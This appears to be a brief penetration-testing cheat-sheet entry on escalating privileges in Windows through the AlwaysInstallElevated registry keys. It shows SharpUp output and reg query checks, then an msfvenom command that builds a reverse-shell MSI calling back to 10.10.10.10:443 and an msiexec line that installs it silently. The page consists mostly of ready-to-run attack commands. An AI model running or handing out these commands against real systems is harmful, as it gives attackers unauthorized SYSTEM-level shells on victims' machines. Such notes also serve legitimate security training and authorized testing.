AutoInstall Elevate

Seatbelt

C:\Tools\SharpUp\SharpUp\bin\Debug\SharpUp.exe

=== AlwaysInstallElevated Registry Keys ===

  HKLM:    1
  HKCU:    1

Registry

reg query HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Installer
reg query HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Installer

Enable set value to 0x1

To be able to exploit this vulnerability, both should be set. Otherwise, exploitation will not be possible.

msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=443 -f msi -o malicious.msi
C:\> msiexec /quiet /qn /i C:\Windows\Temp\malicious.msi

Last updated